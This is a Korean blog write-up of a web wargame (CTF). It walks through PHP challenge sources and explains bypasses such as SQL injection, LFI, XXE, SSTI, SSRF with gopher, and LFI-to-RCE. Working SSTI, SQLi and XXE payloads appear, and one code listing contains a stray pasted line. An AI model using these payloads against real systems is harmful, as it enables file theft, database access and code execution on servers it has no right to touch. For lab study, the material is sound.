같은 팀 동생이 재밌는 워게임 사이트 하나를 알려줘서 주말동안 문제를 좀 풀어봤다.
재밌는 문제들이 많았는데 그 중에서 나는 웹을 제일 재밌게 풀어서 간단하게 롸업을 작성해봤다.
easy compare +-+!!
source.php
<?php
include 'lib.php';
$id = isset($_GET['id']) ? $_GET['id'] : "default";
if( !strcmp($_GET['id'],$key) ){
die($flag);
}else{
echo "No<hr>";
}
highlight_file(__FILE__);
?>
id 파라미터 값과 key값을 strcmp로 비교한다. 우리는 key값을 모르지만 php strcmp trick으로 우회가 가능하다. id 파라미터 값을 배열로 넘겨주면 된다.
md5md5 +-+!!
source.php
<?php
include 'lib.php';
$md1 = isset($_GET['md1']) ? $_GET['md1'] : "default1";
$md2 = isset($_GET['md2']) ? $_GET['md2'] : "default2";
if(md5($md1) == md5($md2) && $md1 != $md2){
die($flag);
}else{
echo "No<hr>";
}
highlight_file(__FILE__);
?>
md5 magic hash 문제이다. 서로 다른 값을 2개 받아서 각 값들을 md5 처리한 hash 값이 동일해야 한다. 이 때 hash값을 느슨한 비교로 비교하기 때문에 bypass가 가능하다. 구글에서 0e형태의 md5 hash를 반환하는 서로다른 값을 찾아서 각각 입력해 주면 된다.
LOFI +-+!!
<?php
ini_set('open_basedir', __DIR__); // Plz do not escape..
include 'lib.php'; // Flag in here!
$page = isset($_GET['page']) ? $_GET['page'] : "default";
highlight_file(__FILE__);
echo "<hr>";
include $page . '.php';
echo "<hr>";
?>
LFI 문제이다. Flag가 lib.php파일에 존재한다. flag가 php 변수에 저장되어 있어서 그냥 파일을 include 시키면 플래그가 안보이기 때문에 php wrapper를 사용해서 base64 형태로 소스코드를 leak하면 된다.
getadmin +-+!!
source.php
<?php
include 'lib.php';
session_start();
if(!isset($_SESSION['user'])){
$_SESSION['user'] = 'guest';
}
if($_SESSION['user'] === 'admin'){
session_destroy();
die($flag);
}
echo "Welcome " . $_SESSION['user'] . "!<br>";
echo "You can use + operator<br><br>";
if(isset($_GET['a']) && isset($_GET['b'])){
extract($_GET);
echo (int)$a + (int)$b;
}
echo "<br><hr><br>";
highlight_file(__FILE__);
?>
세션 내 user값이 admin이어야 한다. 해당 값은 무조건 guest로 세팅되지만 extract를 사용하고 있어서 bypass가 가능하다. extarct를 이용해 세션 내 user값을 admin으로 덮어주면 된다.
nohack +-+!!
source.php
<?php
include 'db.php';
$id = isset($_GET['id']) ? $_GET['id'] : "default";
$pw = isset($_GET['pw']) ? $_GET['pw'] : "default";
$id = addslashes($id);
$pw = md5($pw,true);
$query = "select * from user where id='${id}' and pw='${pw}'";
$res = mysqli_query($conn, $query);
$arr = mysqli_fetch_array($res);
if(count($arr) != 0){
die($flag);
}else{
echo "No..";
}
echo "<hr><br>";
highlight_file(__FILE__);
?>
SQL Injection인데 그냥 보면 취약점이 안터진다. 근데 패스워드를 hash 처리할 때 md5의 true option을 사용하고 있다. 해당 옵션을 사용하면 함수 return 값이 hex 값이 아닌 binary 값으로 반환된다. 즉 반환값에 특문이 포함될 수 있기 때문에 리턴 값이 ' or '1'='1 대충 이런 형태로 반환되는 input을 찾아주면 된다. 간단히 구글에 검색해보면 해당 input 값을 찾을 수 있다.
request +-+!!
source.php
<?php
ini_set('open_basedir', __DIR__); // Plz do not escape..
include 'lib.php';
// Flag in admin.php!! but it can connect only localhost +-+!!
$url = isset($_GET['url']) ? $_GET['url'] : "http://c2w2m2.com";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
$data = curl_exec($ch);
curl_close($ch);
highlight_file(__FILE__);
echo "<hr>";
echo ($data);
?>
요청 값을 별도의 필터없이 curl로 요청한다. 문제에서 admin.php에 접근해 달라고 했기 때문에 해당 페이지의 도메인을 포함한 전체 URL 정보를 파라미터 값으로 넘겨주면 된다.
route +-+!!
source.php
<?php
error_reporting(0);
include 'lib.php';
$tmp = urldecode($_SERVER['REQUEST_URI']);
$url = parse_url($tmp, PHP_URL_QUERY);
if(stripos($url, 'flag') !== false){
die("no");
}
if(isset($_GET['flag'])){
die($flag);
}
highlight_file(__FILE__);
?>
URL Query 영역에 flag라는 문자열이 존재하면 안된다. 근데 우리는 flag 파라미터를 사용해야 한다. 일반적으로 불가능한 코드지만 parse_url bug를 이용해 파싱시에 false를 반환하게 해주면 된다. URI 정보를 ///~ 이런식으로 반환하게 해주면 parse_url이 파싱하면서 호스트 정보가 존재하지 않는다고 판단해 에러를 반환한다. 이를 통해 필터를 우회해서 flag 파라미터를 사용해주면 된다.
S5Ti +-+!!
문제에 들어가보면 SSTI가 터진다. 필터링이 따로 존재하지 않아 아래 구문으로 문제에서 지정해 준 flag파일을 읽어주면 된다.
payload ={{''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()}}
Easy sqli return +-+!!
source.php
<?php
include 'db.php';
$id = $_GET['id'];
$pw = $_GET['pw'];
if(preg_match('/[a-zA-Z0-9]/i', $id) || preg_match('/[a-zA-Z0-9]/i', $pw)) exit("Filtered");
if(preg_match('/\||&| |\t|\n|\'/i', $id) || preg_match('/\||&| |\t|\n|\'/i', $pw)) exit("Filtered");
$query = "select * from user where id='${id}' and pw='${pw}'";
echo "<b>".$query."</b>";
echo "<br><br>";
$res = mysqli_query($conn, $query);
$arr = mysqli_fetch_array($res);
if(count($arr) != 0){
echo $flag;
exit;
}else{
echo "No..";
}
echo "<hr><br>";
highlight_file(__FILE__);
?>
SQLI 문제이다. false sql injection을 통해 참 값의 쿼리문을 만들어 주면 된다.
Payload = http://test.c2w2m2.com/ctf/easy_sqli/?id=\&pw=^%22%22%23
XXX +-+!!
source.php
<?php
if(isset($_GET['source'])){
highlight_file(__FILE__);
exit;
}
ini_set('open_basedir', __DIR__); // Plz do not escape..
libxml_disable_entity_loader(false);
if(isset($_POST['xml'])){
$xml = $_POST['xml'];
$root = simplexml_load_string($xml,'SimpleXMLElement', LIBXML_NOENT) or die("XML parse err");
}
?>
<form action="/ctf/XXX/index.php" method="post">
<textarea name="xml" rows=15 cols=100 onkeydown="if(event.keyCode===9){var v=this.value,s=this.selectionStart,e=this.selectionEnd;this.value=v.substring(0, s)+'\t'+v.substring(e);this.selectionStart=this.selectionEnd=s+1;return false;}"></textarea><br><br>
<input type="submit" value="+-+!!">
</form>
<hr><br>
<?php print_r($root); ?>
XXE 문제이다. 파싱결과를 뿌려주기 때문에 따로 OOB 없이 그냥 기본 구문을 사용해 flag 파일을 읽어주면 된다.
payload
<?xml version="1.0"?>
<!DOCTYPE ssr[
<!ENTITY ssrtest SYSTEM "php://filter/convert.base64-encode/resource=./flag.php">
]>
<result><test>%26ssrtest;</test></result>
Flag = TRUST{XX3_XXE_XX1}
Xs5 +-+!!
source.php
<?php
$text = isset($_GET['text']) ? $_GET['text'] : 'default message';
$text = str_replace('"', '"',$text);
echo "<h3>" . $text . "</h3>";
echo "<hr><br>";
?>
<form method="get" action="/ctf/xs5/">
<input type="text" placeholder="message" name="text" size="100">
<input type="submit" value="+-+!!">
</form>
<a href="check.php"> check +-+!! </a>
<br><br>
BOT : HeadlessChrome/73.0.3683.103
<br><br>
Flag on Admin cookie
<hr><br>
<?php
highlight_file(__FILE__);
?>
<hr><br>
간단해보이는 XSS 문제인데 Chrome XSS Auditor가 적용되어 있다. 근데 코드를 보면 "를 replace 처리하는 코드가 존재한다. 해당 코드를 이용해 input과 페이지 내 뿌려지는 값이 다르도록 payload에 "를 섞어서 XSS Auditor를 Bypass 해주면 된다.
jjcode +-+!!
문제에 들어가보면 파일 다운로드 취약점이 터지는 페이지가 존재한다. 해당 페이지를 통해 모든 소스코드를 leak한 뒤 코드 분석을 해보면 util.php의 render 함수에서 SSRF가 터진다.
util.php
<?php
function checkLogin_(){
if(isset($_SESSION["username"])){
return 1;
}else{
return 0;
}
}
function checkLogin(){
if(!checkLogin_()){
die("Plz login");
}
}
function hashing($data){
return hash("sha256", "myst4rt_S4lt".$data."y0ur_3nd_sa1t");
}
function render($data){
$data = preg_replace('/</i', '<', $data);
$data = preg_replace('/>/i', '>', $data);
$data = preg_replace('/\"/i', '"', $data);
$data = preg_replace('/javascript/i', '', $data);
$data = preg_replace('/\[bold\](.*)\[\/bold\]/i', '<b>${1}</b>', $data);
$data = preg_replace('/\[italic\](.*)\[\/italic\]/i', '<i>${1}</i>', $data);
$data = preg_replace('/\[under\](.*)\[\/under\]/i', '<u>${1}</u>', $data);
$data = preg_replace('/\[delete\](.*)\[\/delete\]/i', '<s>${1}</s>', $data);
$data = preg_replace('/\[quote\](.*)\[\/quote\]/i', '<blockquote><p>${1}</p></blockquote>', $data);
$data = preg_replace('/\[img\](.*)\[\/img\]/i', '<img src="${1}">', $data);
$data = preg_replace('/\[youtube\](https?:\/\/www.youtube.com\/embed\/.*)\[\/youtube\]/i', '<iframe width="560" height="315" src="${1}" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>', $data);
$data = preg_replace('/\[enter\]/i', '<br>', $data);
$data = preg_replace('/\[color=(\w{0,4})\](.*)\[\/color\]/i', '<span style="color:${1};">${2}</span>', $data);
$data = preg_replace('/\[size=(\d{0,4})\](.*)\[\/size\]/i', '<span style="font-size:${1}px;">${2}</span>', $data);
preg_match_all('/\[link\](https?:\/\/[^\[\]]*)\[\/link\]/', $data, $res);
for($i = 0; $i < count($res[0]); $i++){
$replace = $res[0][$i];
$url = $res[1][$i];
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$html = curl_exec($curl);
if(curl_error($curl))
$html = '';
curl_close($curl);
$desc = preg_match('/<meta property="og:description" content="(.*)"\/?>/i', $html, $match) ? $match[1] : $url;
$title = preg_match('/\<title\>([^<>]*)<\/title\>/i', $html, $match) ? $match[1] : $url;
if($title == $url){
preg_match('/https?:\/\/(www|).([^.]*).*/i', $url, $title);
$title = $title[2];
} <meta property="og:image" content="(http://www.naver.com)"/>
$img = preg_match('/<meta property="og:image" content="(.*)"\/?>/i', $html, $match) ? $match[1] : 'https://vignette.wikia.nocookie.net/ecole-oraliste-eslvocabulary/images/a/a1/None_flowers.jpg/revision/latest?cb=20150321170046';
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $img);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$img_data = base64_encode(curl_exec($curl));
if(curl_error($curl))
$img_data = '';
curl_close($curl);
$tag = "<div class=\"box\" onclick=\"window.open('${url}')\"><div class=\"content\"><img style=\"float:left;\" src=\"data:image/png;base64, ${img_data}\"><div class=\"text\"><h2>${title}</h2><span style=\"font-size:14px\">${desc}</span></div></div></div>";
$data = str_replace($replace, $tag,$data);
}
return $data;
}
?>
코드를 잘 보면 SSRF를 통해 반환된 값이 img tag 내에서 base64 encoding된 값으로 반환되는 걸 볼 수 있다. 이제 이걸로 뭘 할 수 있는지를 보면 되는데 db 설정파일을 보면 mysql 연결 시 패스워드를 사용하지 않고 있다.
dbconfig.php
<?php
$db = mysqli_connect(
'localhost',
'jjcode',
'',
'jjcode'
) or die('Error! tell admin');
?>
이를 통해 Gopher를 이용한 Mysql 접근이 가능하다는 걸 알 수 있고 해당 기법을 사용해 디비 내 존재하는 Flag를 읽어주면 된다.
해당 기법은 구글에 ssrf gopher mysql 같은 형태로 검색해서 사용해 주면 된다.
LOOFI +-+!!
기본적으로 LFI가 터진다. 이걸로 소스코드를 쭉 leak 해서 코드를 분석해주면 된다.
LFI로 RCE를 해주면 되는데, 별도의 업로드 기능이 없고 세션이 고정된 환경이라 세션값을 내가 컨트롤할 수 있기 때문에 세션 파일로 LFI를 해주면 된다. LFI 시 input이 php로 끝나는지 검증하기 때문에 세션파일명을 ssrtestphp 이런형태로 만들어주면 된다.
여기까지 가능한걸 확인한 뒤 이제 유저명에 php를 코드를 넣어주면 되는데, 회원 가입 및 로그인 시 <,>,?를 제거해 버린다. 일반적으로 php 코드를 박아넣을 수 없는 상황이기 때문에 유저명을 base64형태로 encoding해서 넣어주고 lfi로 해당 파일을 불러올 때 decoding 처리를 하기 위해 php://filter/convert.base64-decode/resource=세션파일경로 요런 형태 요청해주면 된다.
이 때 decoding 시 php 코드가 깨지지 않도록 encoding된 payload 값 앞에 문자열 개수가 4의 배수가 되도록 padding처리까지 정확히 해줘서 exploit하면 된다. 이후에는 rce를 통해 플래그 파일을 읽어주면 된다.